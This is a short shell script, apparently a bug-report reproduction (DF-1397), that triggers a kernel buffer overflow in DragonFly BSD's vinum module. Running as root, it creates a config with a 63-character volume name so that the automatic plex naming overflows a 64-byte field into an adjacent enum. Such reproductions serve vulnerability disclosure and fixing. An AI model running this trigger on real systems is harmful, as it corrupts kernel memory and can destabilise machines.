DF-1397 / live_repro.sh
#!/bin/sh # DF-1397 live reproduction: vinum config_plex auto-naming overflow. # Requires root (vinum create is root-only). Run on the DragonFly guest. # Triggers strcpy(plex->name, VOL[].name) + strcat(".pN") with a 63-char # volume name, overflowing the 64-byte name into the `organization` enum. set -e kldload vinum 2>/dev/null || true cd /tmp # 63-char volume name + unnamed plex (auto-named from the volume). printf "volume %s\nplex org concat\n" "$(printf 'A%.0s' $(seq 1 63))" > vc.conf echo "=== crafted config ===" cat vc.conf echo "=== vinum create ===" vinum create -f vc.conf 2>&1 echo "=== vinum list (note the plex name length) ===" vinum l 2>&1 | grep '^P ' # The plex name prints as 66 chars (63 A's + ".p0") proving the overflow: # plex->name is 64 bytes; the terminator now lives inside `organization`. |